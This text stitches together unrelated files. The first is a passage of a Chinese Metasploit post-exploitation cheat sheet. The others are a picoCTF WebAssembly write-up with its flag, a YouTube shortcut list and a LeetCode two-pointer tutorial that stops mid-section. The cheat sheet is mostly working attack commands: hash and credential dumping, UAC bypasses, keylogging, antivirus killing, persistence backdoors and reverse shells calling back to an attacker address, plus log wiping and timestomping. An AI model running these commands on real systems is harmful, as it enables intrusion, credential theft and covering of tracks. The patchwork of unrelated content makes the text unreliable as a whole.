windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码 run windows/gather/smart_hashdump 或 use post/windows/gather/hashdump set session 1 Exploit ``` **sniffer** ```bash use sniffer sniffer_interfaces # 查看网卡信息 sniffer_start 1 # 开始在序号为1的网卡上抓包 sniffer_dump 1 xpsp1.cap # 下载抓取到的数据包 ``` 对抓取的包进行解包 ```bash use auxiliary/sniffer/psnuffle set pcapfile 1.cap run ``` --- ### 权限提升 ```bash getuid # 查看当前权限 getsystem # 提权 getuid # 再次查看判断是否提权成功 ``` **绕过 UAC** 通常 webshell 的权限都比较低,能够执行的操作有限,没法查看重要文件、修改系统信息、抓取管理员密码和 hash、安装特殊程序等,所以我们需要获取系统更高的权限 1. 什么是 UAC? Microsoft 的 Windows Vista 和 Windows Server 2008 操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量.它是 Windows 的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC 确保仅在管理员授权的情况下进行某些更改.如果管理员不允许更改,则不会执行这些更改,并且 Windows 系统保持不变. 2. UAC 如何运行? UAC 通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行.除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行.如果你以管理员身份运行程序,则它将具有更多权限,因为它将被"提升权限",而不是以管理员身份运行的程序. 因为有的用户是没有管理员权限,没有管理员权限是运行不了那些只能通过管理员权限才能操作的命令.比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作. 最直接的提权命令 : getsystem 绕过 UAC 防护机制的前提是我们首先通过 explloit 获得目标主机的 meterprter.获得 meterpreter 会话 1 后,输入以下命令以检查是否是 system 权限.这里直接上命令.我们需要把获取到的 session 保存到后台,执行 background ```bash background use exploit/windows/local/bypassuac # 将通过进程注入使用可信任发布者证书绕过 Windows UAC.它将生成关闭 UAC 标志的第二个 shell. sessions # 查看目前的 session sessions -k # 杀死所有 session set session # 设为你需要 exploit 的 session ``` - **Windows 权限提升绕过 UAC 保护(内存注入)** ``` background use exploit/windows/local/bypassuac_eventvwr set session 1 Exploit ``` - **通过 COM 处理程序劫持** 此模块将通过在 hkcu 配置单元中创建 COM 处理程序注册表项来绕过 Windows UAC.当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的 DLL.这些 DLL 包含导致会话权限提升的 payload.此模块修改注册表项,但在调用 payload 后将清除该项.这个模块需要 payload 的体系架构和操作系统匹配,但是当前的低权限 meterpreter 会话体系架构中可能不同.如果指定 exe::custom,则应在单独的进程中启动 payload 后调用 ExitProcess().此模块通过目标上的 cmd.exe 调用目标二进制文件.因此,如果 cmd.exe 访问受到限制,此模块将无法正常运行. ``` background use exploit/windows/local/bypassuac_comhijack set session 1 Exploit ``` - **通过 Eventvwr 注册表项** 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动 Windows 事件查看器时调用的自定义命令来绕过 Windows UAC.它将生成关闭 UAC 标志的第二个 shell.此模块修改注册表项,但在调用 payload 后将清除该项.该模块不需要 payload 的体系架构和操作系统匹配.如果指定 EXE ::Custom,则应在单独的进程中启动 payload 后调用 ExitProcess(). ``` background use exploit/windows/local/bypassuac_eventvwr set session 1 Exploit ``` **利用系统漏洞提权** 除了这些模块还有其它的通过直接通过 incognito 中的 add_localgroup_user 提升、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc 域权限提升等其它的权限提升方法. ```bash background use exploit/windows/local/ms13_081_track_popup_menu # 以 ms13-081 为例 set session Exploit # 或 background use post/windows/gather/enum_patches set session Exploit ``` **令牌假冒** 在用户登录 windows 操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的 session 或者 cookie. msf 提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色. ```bash getuid # 查看当前用户 use incognito # 进入该模块 list_tokens -u # 查看存在的令牌 impersonate_token [Username] # 令牌假冒 # 注意用户名的斜杠需要写两个. getuid # 查看是否切换成功 ``` --- ### 文件操作 **操作文件系统** ```bash ls # 列出当前路径下的所有文件和文件夹. pwd/getwd # 查看当前路径 search # 搜索文件,使用 search -h 查看帮助. cat # 查看文件内容,比如 cat test.txt. edit # 编辑或者创建文件.和 Linux 系统的 vm 命令类似,同样适用于目标系统是 windows 的情况. rm # 删除文件. cd # 切换路径. mkdir # 创建文件夹. rmdir # 删除文件夹. getlwd/lpwd # 查看自己系统的当前路径. lcd # 切换自己当前系统的目录. lls # 显示自己当前系统的所有文件和文件夹. ``` **上传和下载** ```bash upload [file] [destination] # 上传文件到 Windows 主机 # 注意:使用 -r 参数可以递归上传上传目录和文件 download [file] [path to save] # 从 windows 主机下载文件 # 注意:Windows 路径要使用双斜线 # 如果我们需要递归下载整个目录包括子目录和文件,我们可以使用 download -r 命令 ``` **搜索文件** ```bash search -f *config* ``` **改变文件时间** ```bash timestomp -v a.txt # 查看 a 的时间戳 timestomp a.txt -f b.txt # 使用 b 的时间覆盖 a 的时间 ``` --- ### 横向 **域管理员嗅探** ```bash use post/windows/gather/enum_domain set session 1 exploit ``` --- ### 端口转发和内网代理 **网络命令** ```bash Ipconfig/ifconfig # 查看目标主机 IP 地址; arp -a # 用于查看高速缓存中的所有项目; route # 打印路由信息; netstat -na # 可以显示所有连接的端口 ``` 其中路由信息对于渗透者来说特有用,因为攻击机处于外网,目标主机处于内网,他们之间是不能通信的,故需要添加路由来把攻击机的 IP 添加到内网里面,这样我们就可以横扫内网,就是所谓的内网代理. 首先我们需要获取网段,然后再添加路由,添加成功后就可以横向扫描内网主机. ```bash run get_local_subnets # 获取网段 run autoroute -s 192.168.205.1/24 # 添加路由 run autoroute -p # 查看路由 run autoroute -d -s 172.2.175.0 # 删除网段 run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 # 探测该网段下的存活主机. meterpreter > background # 后台 sessions ``` 或者自动化 ```bash use post/multi/manage/autoroute set session 1 exploit ``` **portfwd** portfwd 是 meterpreter 提供的端口转发功能,在 meterpreter 下使用 portfwd -h 命令查看该命令参数. ```bash portfwd add -l 2222 -r 1.1.1.1 -p 3389 # 将 1.1.1.1 的 3389 端口转发到本地的 2222 端口. -l:本地监听端口 -r:内网目标的 ip -p:内网目标的端口 portfwd delete -l [port] portfwd list 例如: portfwd add -r 127.0.0.1 -p 3389 -l 1234 ``` **pivot** pivot 是 msf 最常用的代理,可以让我们使用 msf 提供的扫描模块对内网进行探测. ```bash route add [ip] [mask] [session id] # 添加一个路由 route print ``` 如果其它程序需要访问这个内网环境,就可以建立 socks 代理 msf 提供了3个模块用来做 socks 代理. ``` auxiliary/server/socks4a auxiliary/server/socks5 auxiliary/server/socks_unc use auxiliary/server/socks4a SRVHOST:监听的 ip 地址,默认为 0.0.0.0,一般不需要更改. SRVPORT:监听的端口,默认为 1080. ``` 直接运行 run 命令,就可以成功创建一个 socks4 代理隧道,在 linux 上可以配置 proxychains 使用,在 windows 可以配置 Proxifier 进行使用. --- ### 权限维持 **关闭防病毒软件** ```bash run killav ``` 一个技巧是注入到 service.exe/svchost.exe 或 高权限杀软中 干掉 其他杀软 **关闭进程** ```bash pkill [进程名] ``` **键盘记录** ```bash keyscan_start # 开启键盘记录功能 keyscan_dump # 显示捕捉到的键盘记录信息 keyscan_stop # 停止键盘记录功能 ``` **执行程序** ```bash execute -f [path] [options] # 在目标主机上执行 exe 文件 -H : 创建一个隐藏进程 -a : 传递给命令的参数 -i : 跟进程进行交互 -m : 从内存中执行 -t : 使用当前伪造的线程令牌运行进程 -s : 在给定会话中执行进程 ``` **进程迁移** 当 meterpreter 单独作为一个进程运行时容易被发现,如果将它和系统经常运行的进程进行绑定,就能够实现持久化. ```bash getpid # 查看当前会话的进程 id ps # 查看目标运行的进程 migrate [pid] # 绑定/迁移进程 ``` **后门** MSF 自带两种植入后门的方式 Meterpreter 的 shell 运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用 exploit 获取权限,所以需要持久的后门对目标进行控制 - **metsvc 服务后门** 原理:命令运行成功后会在 `C:\Users\用户名\AppData\Local\Temp` 目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)同时会新建一个服务,显示名称为 Meterpreter,服务名称为 metsvc,启动类型为"自动",绑定在 31337 端口. ```bash # 自动化安装 run metsvc -A use exploit/multi/handler set payload windows/metsvc_bind_tcp set rhost [lhost] set lport 31337 exploit -j ``` - **persistence 启动项后门** 原理就是在 `C:\Users\用户名\AppData\Local\Temp` 下上传一个 VBS 脚本,通过该脚本,在注册表 `HKLM\Software\Microsoft\Windows\CurrentVersion\Run\` 下新建一个开机启动项 ```bash # 自动化部署 run persistence -A run persistence -X -i 10 -r 192.168.1.9 -p 4444 -A : 安装后门后,自动启动 exploit/multi/handler 模块连接后门 -L : 自启动脚本的路径,默认为 %TEMP% -P : 需要使用的 payload,默认为 windows/meterpreter/reverse_tcp -S : 作为一个服务在系统启动时运行(需要 SYSTEM 权限) -T : 要使用的备用可执行模板 -U : 用户登录时运行 -X : 系统启动时运行 -i : 后门每隔多少秒尝试连接服务端 -p : 服务端监听的端口 -r : 服务端 ip ``` ```bash use exploit/multi/handle set payload windows/meterpreter/reverse_tcp set LHOST [lhost] set LPORT [lport] exploit -j ``` **RDP** ```bash run post/windows/manage/enable_rdp # 开启 3389 远程桌面; run post/windows/manage/enable_rdp username=xxx password=xxx # 添加远程桌面的用户(同时也会将该用户添加到管理员组) ``` **vnc** ```bash run vnc # 分段注入VNC DLL ``` **注册表操作** 通过注册表设置开机自启动 ```bash reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v note -d 'C:\Windows\System32\notepad.exe' reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v note ``` 通过注册表复制克隆用户 ```bash reg enumkey -k HKLM\\sam\\sam\\domains\\account\\users shell net user guest /active:yes reg copy HkLM\sam\sam\domains\account\users\000001f4 HkLM\sam\sam\domains\account\users\000001f5 ``` --- ### 痕迹清除 ```bash clearev # 入侵痕迹擦除 ``` **反电子取证** ```bash timestomp -v secist.txt # 查看当前目标文件 MACE 时间. timestomp -f c:\\AVScanner.ini secist.txt # 将模板文件 MACE 时间,复制给当前文件 timestomp -v secist.txt ``` --- ## stage 和 stageless 的区别 > 以下部分内容来自 <sup>[探寻Metasploit Payload模式背后的秘密](https://www.freebuf.com/articles/system/187312.html)</sup> 在 MSF 里有很相似的 metasploit payload,比如 ``` payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64 ``` 这2者有什么关系呢?以 08067 模块的利用为例 **Stage** - bootstrap(starger) : shellcode - metserv : Meterpreter 核心文件 - stdapi : 计算机文件、系统、网络等属性的访问 - priv : 权限提升、转储密码 hash 和本地提权 当我们使用 metasplit 的 ms08_067_netapi 模块之后,使用 payload/windows/meterpreter/reverse_tcp 模块,并开启一个 multi/handler 连接监听着我们本机的 4444 端口,有了解过缓冲区溢出的同学可能都知道,攻击者会利用软件的某个缺陷来传输一段很长的 shellcode 来溢出目标的缓冲区,从而控制 EIP 指针来跳转到我们的 shellcode 上,执行我们的代码,但是这段 shellcode 并不能过长,shellcode 过长,可能会导致覆盖到了上一函数栈帧的数据,导致异常的发生。所以像我们攻击者最希望就是生成一段短小精悍的 shellcode 像下面这张图,我们攻击机像目标靶机发送了一段 shellcode,并覆盖了 EIP,导致程序执行的时候跳回 shellcode 的开头,从而控制程序的执行情况,执行我们的恶意代码,这段恶意代码就只要干两件事,第一件事就是向内存申请开辟一块空间,第二件事就是回连我们的 4444 端口,这段 shellcode 为我们干的事情就好像是一个前排冲锋的战士,打开城墙的大门好让更多的精兵冲进来。我们称这段 shellcode 为 stage0,也就是第一阶段 这时,我们的攻击机,已经开始监听 4444 端口了,只要连接一成功,就会把 meterpreter shell 最核心的 dll 文件发送到靶机上 我们之前说过,当靶机运行了我们的 shellcode,会在内存里面开辟一块土地,这个地方就是为我们的 metsrv 留的,metsrv.dll 这个文件是 meterpreter 的核心组件,有了他,我们才能获取到一个 meterpreter shell,当 metsrv 传输成功之后,shellcode 就会把控制权转给 metsrv,metsrv 这时再去请求另外两个 dll 文件 stdapi 和 priv。这个时候目标就上线了. **Stageless** 现在我们知道了 meterpreter/reverse_tcp 是分阶段的 shellcode,并且他分阶段的原因是因为在溢出攻击的时候 shellcode 应该尽可能保持得更短,这个时候理解他小兄弟 meterpreter_reverse_tcp 就方便的多,和 meterpreter/reverse_tcp 不同的是,他的小兄弟 meterpreter_reverse_tcp 是一个不分阶段的 payload,我们称之为 stageless(unstage),他在生成的时候就已经将我们获取一个 meterpreter 必须要用的 stdapi 已经包含在其中了。那这又有什么好处呢?试想一下,如果我们通过层层的代理,在内网进行漫游,这个时候使用分阶段的 payload 如果网络传输出现了问题,metsrv.dll 没有加载过去,可能就会错失一个 shell,stageless 的 payload 会让人放心不少 默认的 stageless payload 只会包含 stageless,所以如果想将 stdapi 和 priv 两个组件给包含进去的话我们可以用 extensions 命令: ```bash msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe ``` **回弹至 nc** 分阶段的 payload,我们必须使用 exploit/multi/handler 这个模块使用,但是当我们想回弹一个基础的 shell 的时候,其实可以使用 nc 来监听端口直接回连到 nc 上 当有时获取到了 root 权限,想反弹 linux shell 的时候,这时 meterprter 的需求就不是那么高了,我们就可以使用 shell_reverse_tcp(或者是 bind) 来生成一个 stageless 的 bash 脚本,直接使用 nc 来接受 shell ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.141.143 LPORT=4444 -f exe > ./vu.exe ``` nc 监听 ```bash nc -tvlp 4444 ``` 接收回弹
sec-knowleage
# Some Assembly Required 2 Category: Web, 110 points ## Solution This is the follow-up for [Some Assembly Required 1](Some_Assembly_Required_1.md). We'll skip the stuff that we've covered there and jump right to the WebAssembly. Translating the `wasm` file to `wat`: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_2] └─$ ~/utils/web/wabt/build/wasm2wat --generate-names script.wasm > script.wat ``` Result: ```wat (module (type $t0 (func)) (type $t1 (func (param i32 i32) (result i32))) (type $t2 (func (result i32))) (type $t3 (func (param i32 i32))) (func $__wasm_call_ctors (type $t0)) (func $strcmp (type $t1) (param $p0 i32) (param $p1 i32) (result i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i32) (local $l25 i32) (local $l26 i32) (local $l27 i32) (local $l28 i32) (local $l29 i32) (local $l30 i32) (local $l31 i32) (local $l32 i32) (local $l33 i32) (local $l34 i32) (local $l35 i32) (local $l36 i32) (local $l37 i32) (local $l38 i32) (local $l39 i32) (local $l40 i32) (local $l41 i32) (local $l42 i32) (local $l43 i32) global.get $g0 local.set $l2 i32.const 32 local.set $l3 local.get $l2 local.get $l3 i32.sub local.set $l4 local.get $l4 local.get $p0 i32.store offset=24 local.get $l4 local.get $p1 i32.store offset=20 local.get $l4 i32.load offset=24 local.set $l5 local.get $l4 local.get $l5 i32.store offset=16 local.get $l4 i32.load offset=20 local.set $l6 local.get $l4 local.get $l6 i32.store offset=12 block $B0 loop $L1 local.get $l4 i32.load offset=16 local.set $l7 i32.const 1 local.set $l8 local.get $l7 local.get $l8 i32.add local.set $l9 local.get $l4 local.get $l9 i32.store offset=16 local.get $l7 i32.load8_u local.set $l10 local.get $l4 local.get $l10 i32.store8 offset=11 local.get $l4 i32.load offset=12 local.set $l11 i32.const 1 local.set $l12 local.get $l11 local.get $l12 i32.add local.set $l13 local.get $l4 local.get $l13 i32.store offset=12 local.get $l11 i32.load8_u local.set $l14 local.get $l4 local.get $l14 i32.store8 offset=10 local.get $l4 i32.load8_u offset=11 local.set $l15 i32.const 255 local.set $l16 local.get $l15 local.get $l16 i32.and local.set $l17 block $B2 local.get $l17 br_if $B2 local.get $l4 i32.load8_u offset=11 local.set $l18 i32.const 255 local.set $l19 local.get $l18 local.get $l19 i32.and local.set $l20 local.get $l4 i32.load8_u offset=10 local.set $l21 i32.const 255 local.set $l22 local.get $l21 local.get $l22 i32.and local.set $l23 local.get $l20 local.get $l23 i32.sub local.set $l24 local.get $l4 local.get $l24 i32.store offset=28 br $B0 end local.get $l4 i32.load8_u offset=11 local.set $l25 i32.const 255 local.set $l26 local.get $l25 local.get $l26 i32.and local.set $l27 local.get $l4 i32.load8_u offset=10 local.set $l28 i32.const 255 local.set $l29 local.get $l28 local.get $l29 i32.and local.set $l30 local.get $l27 local.set $l31 local.get $l30 local.set $l32 local.get $l31 local.get $l32 i32.eq local.set $l33 i32.const 1 local.set $l34 local.get $l33 local.get $l34 i32.and local.set $l35 local.get $l35 br_if $L1 end local.get $l4 i32.load8_u offset=11 local.set $l36 i32.const 255 local.set $l37 local.get $l36 local.get $l37 i32.and local.set $l38 local.get $l4 i32.load8_u offset=10 local.set $l39 i32.const 255 local.set $l40 local.get $l39 local.get $l40 i32.and local.set $l41 local.get $l38 local.get $l41 i32.sub local.set $l42 local.get $l4 local.get $l42 i32.store offset=28 end local.get $l4 i32.load offset=28 local.set $l43 local.get $l43 return) (func $check_flag (type $t2) (result i32) (local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) i32.const 0 local.set $l0 i32.const 1072 local.set $l1 i32.const 1024 local.set $l2 local.get $l2 local.get $l1 call $strcmp local.set $l3 local.get $l3 local.set $l4 local.get $l0 local.set $l5 local.get $l4 local.get $l5 i32.ne local.set $l6 i32.const -1 local.set $l7 local.get $l6 local.get $l7 i32.xor local.set $l8 i32.const 1 local.set $l9 local.get $l8 local.get $l9 i32.and local.set $l10 local.get $l10 return) (func $copy_char (type $t3) (param $p0 i32) (param $p1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) global.get $g0 local.set $l2 i32.const 16 local.set $l3 local.get $l2 local.get $l3 i32.sub local.set $l4 local.get $l4 local.get $p0 i32.store offset=12 local.get $l4 local.get $p1 i32.store offset=8 local.get $l4 i32.load offset=12 local.set $l5 block $B0 local.get $l5 i32.eqz br_if $B0 local.get $l4 i32.load offset=12 local.set $l6 i32.const 8 local.set $l7 local.get $l6 local.get $l7 i32.xor local.set $l8 local.get $l4 local.get $l8 i32.store offset=12 end local.get $l4 i32.load offset=12 local.set $l9 local.get $l4 i32.load offset=8 local.set $l10 local.get $l10 local.get $l9 i32.store8 offset=1072 return) (table $T0 1 1 funcref) (memory $memory 2) (global $g0 (mut i32) (i32.const 66864)) (global $input i32 (i32.const 1072)) (global $__dso_handle i32 (i32.const 1024)) (global $__data_end i32 (i32.const 1328)) (global $__global_base i32 (i32.const 1024)) (global $__heap_base i32 (i32.const 66864)) (global $__memory_base i32 (i32.const 0)) (global $__table_base i32 (i32.const 1)) (export "memory" (memory 0)) (export "__wasm_call_ctors" (func $__wasm_call_ctors)) (export "strcmp" (func $strcmp)) (export "check_flag" (func $check_flag)) (export "input" (global 1)) (export "copy_char" (func $copy_char)) (export "__dso_handle" (global 2)) (export "__data_end" (global 3)) (export "__global_base" (global 4)) (export "__heap_base" (global 5)) (export "__memory_base" (global 6)) (export "__table_base" (global 7)) (data $d0 (i32.const 1024) "xakgK\5cNs>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00")) ``` Now to pseudo-code: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_2] └─$ ~/utils/web/wabt/build/wasm-decompile script.wasm -o script.dcmp ``` Result: ``` export memory memory(initial: 2, max: 0); global g_a:int = 66864; export global input:int = 1072; export global dso_handle:int = 1024; export global data_end:int = 1328; export global global_base:int = 1024; export global heap_base:int = 66864; export global memory_base:int = 0; export global table_base:int = 1; table T_a:funcref(min: 1, max: 1); data d_xakgKNsnjl909mjn9m0n9088100u(offset: 1024) = "xakgK\Ns>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00"; export function wasm_call_ctors() { } export function strcmp(a:int, b:int):int { var c:int = g_a; var d:int = 32; var e:int = c - d; e[6]:int = a; e[5]:int = b; var f:int = e[6]:int; e[4]:int = f; var g:int = e[5]:int; e[3]:int = g; loop L_b { var h:ubyte_ptr = e[4]:int; var i:int = 1; var j:int = h + i; e[4]:int = j; var k:int = h[0]; e[11]:byte = k; var l:ubyte_ptr = e[3]:int; var m:int = 1; var n:int = l + m; e[3]:int = n; var o:int = l[0]; e[10]:byte = o; var p:int = e[11]:ubyte; var q:int = 255; var r:int = p & q; if (r) goto B_c; var s:int = e[11]:ubyte; var t:int = 255; var u:int = s & t; var v:int = e[10]:ubyte; var w:int = 255; var x:int = v & w; var y:int = u - x; e[7]:int = y; goto B_a; label B_c: var z:int = e[11]:ubyte; var aa:int = 255; var ba:int = z & aa; var ca:int = e[10]:ubyte; var da:int = 255; var ea:int = ca & da; var fa:int = ba; var ga:int = ea; var ha:int = fa == ga; var ia:int = 1; var ja:int = ha & ia; if (ja) continue L_b; } var ka:int = e[11]:ubyte; var la:int = 255; var ma:int = ka & la; var na:int = e[10]:ubyte; var oa:int = 255; var pa:int = na & oa; var qa:int = ma - pa; e[7]:int = qa; label B_a: var ra:int = e[7]:int; return ra; } export function check_flag():int { var a:int = 0; var b:int = 1072; var c:int = 1024; var d:int = strcmp(c, b); var e:int = d; var f:int = a; var g:int = e != f; var h:int = -1; var i:int = g ^ h; var j:int = 1; var k:int = i & j; return k; } function copy(a:int, b:int) { var c:int = g_a; var d:int = 16; var e:int_ptr = c - d; e[3] = a; e[2] = b; var f:int = e[3]; if (eqz(f)) goto B_a; var g:int = e[3]; var h:int = 8; var i:int = g ^ h; e[3] = i; label B_a: var j:int = e[3]; var k:byte_ptr = e[2]; k[1072] = j; } ``` We can see that `check_flag` stayed pretty much the same as last time, so we can assume that the magic happens in `copy`. If we diff it against the previous implementation (which simply stored the provided flag characters in memory without any extra manipulation) we can see that the new version includes some extra logic: ``` if (eqz(f)) goto B_a; var g:int = e[3]; var h:int = 8; var i:int = g ^ h; e[3] = i; label B_a: var j:int = e[3]; ``` What seems to be happening here is that characters from the flag are getting XORed with 8 before being saved at offset `1072+`. We can also see that the string that `check_flag` uses to compare the user input to the expected flag (at offset `1024+`) doesn't contain the flag in the clear anymore: ``` data d_xakgKNsnjl909mjn9m0n9088100u(offset: 1024) = "xakgK\Ns>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00"; ``` We'll take this string and XOR it with `8` to get the flag: ```python >>> from pwn import * >>> xor("xakgK\\Ns>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00", 8) b'picoCTF{6f3bd18312ebf1e48f12282200948876}\x08\x08' ``` The flag: `picoCTF{6f3bd18312ebf1e48f12282200948876}`
sec-knowleage
--- title: YouTube date: 2022-11-23 16:23:31.700304 background: bg-[#e6332e] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 18 keyboard shortcuts found on YouTube.com --- Keyboard Shortcuts {.cols-2} ------------------ ### General I Shortcut | Action ---|--- `Space` | Play/Pause when the seek bar is selected, activate a button if a button has focus `K` | Play/Pause in player `Left/Right` | Seek backward/forward 5 seconds `J` | Seek backward 10 seconds in player `L` | Seek forward 10 seconds in player `Home` | Seek to the beginning of the video `End` | Seek to the last seconds of the video `Up` | Increase volume 5% `Down` | Decrease volume 5% `1-9` | Seek to the 10-90% of the video {.shortcuts} ### General II Shortcut | Action ---|--- `0` | Seek to the beginning of the video `Shift` `1` | Move between H1 headers `/` | Go to search box `F` | Activate full screen, press again (or Esc) to exit `C` | Activate closed captions and subtitles, press again to hide `Shift` `N` | Move to the next video `Shift` `P` | Move to the previous video `I` | Launch the Miniplayer `.` | Move forward a single frame (while paused) `,` | Move back a single frame (while paused) {.shortcuts} Also see -------- - [Keyboard shortcuts for YouTube](https://support.google.com/youtube/answer/7631406?hl=en) _(support.google.com)_
sec-knowleage
# Leetcode 题解 - 双指针 <!-- GFM-TOC --> * [Leetcode 题解 - 双指针](#leetcode-题解---双指针) * [1. 有序数组的 Two Sum](#1-有序数组的-two-sum) * [2. 两数平方和](#2-两数平方和) * [3. 反转字符串中的元音字符](#3-反转字符串中的元音字符) * [4. 回文字符串](#4-回文字符串) * [5. 归并两个有序数组](#5-归并两个有序数组) * [6. 判断链表是否存在环](#6-判断链表是否存在环) * [7. 最长子序列](#7-最长子序列) <!-- GFM-TOC --> 双指针主要用于遍历数组,两个指针指向不同的元素,从而协同完成任务。 ## 1. 有序数组的 Two Sum 167\. Two Sum II - Input array is sorted (Easy) [Leetcode](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/description/) / [力扣](https://leetcode-cn.com/problems/two-sum-ii-input-array-is-sorted/description/) ```html Input: numbers={2, 7, 11, 15}, target=9 Output: index1=1, index2=2 ``` 题目描述:在有序数组中找出两个数,使它们的和为 target。 使用双指针,一个指针指向值较小的元素,一个指针指向值较大的元素。指向较小元素的指针从头向尾遍历,指向较大元素的指针从尾向头遍历。 - 如果两个指针指向元素的和 sum == target,那么得到要求的结果; - 如果 sum \> target,移动较大的元素,使 sum 变小一些; - 如果 sum \< target,移动较小的元素,使 sum 变大一些。 数组中的元素最多遍历一次,时间复杂度为 O(N)。只使用了两个额外变量,空间复杂度为 O(1)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/437cb54c-5970-4ba9-b2ef-2541f7d6c81e.gif" width="200px"> </div><br> ```java public int[] twoSum(int[] numbers, int target) { if (numbers == null) return null; int i = 0, j = numbers.length - 1; while (i < j) { int sum = numbers[i] + numbers[j]; if (sum == target) { return new int[]{i + 1, j + 1}; } else if (sum < target) { i++; } else { j--; } } return null; } ``` ## 2. 两数平方和 633\. Sum of Square Numbers (Easy) [Leetcode](https://leetcode.com/problems/sum-of-square-numbers/description/) / [力扣](https://leetcode-cn.com/problems/sum-of-square-numbers/description/) ```html Input: 5 Output: True Explanation: 1 * 1 + 2 * 2 = 5 ``` 题目描述:判断一个非负整数是否为两个整数的平方和。 可以看成是在元素为 0\~target 的有序数组中查找两个数,使得这两个数的平方和为 target,如果能找到,则返回 true,表示 target 是两个整数的平方和。 本题和 167\. Two Sum II - Input array is sorted 类似,只有一个明显区别:一个是和为 target,一个是平方和为 target。本题同样可以使用双指针得到两个数,使其平方和为 target。 本题的关键是右指针的初始化,实现剪枝,从而降低时间复杂度。设右指针为 x,左指针固定为 0,为了使 0<sup>2</sup> + x<sup>2</sup> 的值尽可能接近 target,我们可以将 x 取为 sqrt(target)。 因为最多只需要遍历一次 0\~sqrt(target),所以时间复杂度为 O(sqrt(target))。又因为只使用了两个额外的变量,因此空间复杂度为 O(1)。 ```java public boolean judgeSquareSum(int target) { if (target < 0) return false; int i = 0, j = (int) Math.sqrt(target); while (i <= j) { int powSum = i * i + j * j; if (powSum == target) { return true; } else if (powSum > target) { j--; } else { i++; } } return false; } ``` ## 3. 反转字符串中的元音字符 345\. Reverse Vowels of a String (Easy) [Leetcode](https://leetcode.com/problems/reverse-vowels-of-a-string/description/) / [力扣](https://leetcode-cn.com/problems/reverse-vowels-of-a-string/description/) ```html Given s = "leetcode", return "leotcede". ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a7cb8423-895d-4975-8ef8-662a0029c772.png" width="400px"> </div><br> 使用双指针,一个指针从头向尾遍历,一个指针从尾到头遍历,当两个指针都遍历到元音字符时,交换这两个元音字符。 为了快速判断一个字符是不是元音字符,我们将全部元音字符添加到集合 HashSet 中,从而以 O(1) 的时间复杂度进行该操作。 - 时间复杂度为 O(N):只需要遍历所有元素一次 - 空间复杂度 O(1):只需要使用两个额外变量 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ef25ff7c-0f63-420d-8b30-eafbeea35d11.gif" width="400px"> </div><br> ```java private final static HashSet<Character> vowels = new HashSet<>( Arrays.asList('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U')); public String reverseVowels(String s) { if (s == null) return null; int i = 0, j = s.length() - 1; char[] result = new char[s.length()]; while (i <= j) { char ci = s.charAt(i); char cj = s.charAt(j); if (!vowels.contains(ci)) { result[i++] = ci; } else if (!vowels.contains(cj)) { result[j--] = cj; } else { result[i++] = cj; result[j--] = ci; } } return new String(result); } ``` ## 4. 回文字符串 680\. Valid Palindrome II (Easy) [Leetcode](https://leetcode.com/problems/valid-palindrome-ii/description/) / [力扣](https://leetcode-cn.com/problems/valid-palindrome-ii/description/) ```html Input: "abca" Output: True Explanation: You could delete the character 'c'. ``` 题目描述:可以删除一个字符,判断是否能构成回文字符串。 所谓的回文字符串,是指具有左右对称特点的字符串,例如 "abcba" 就是一个回文字符串。 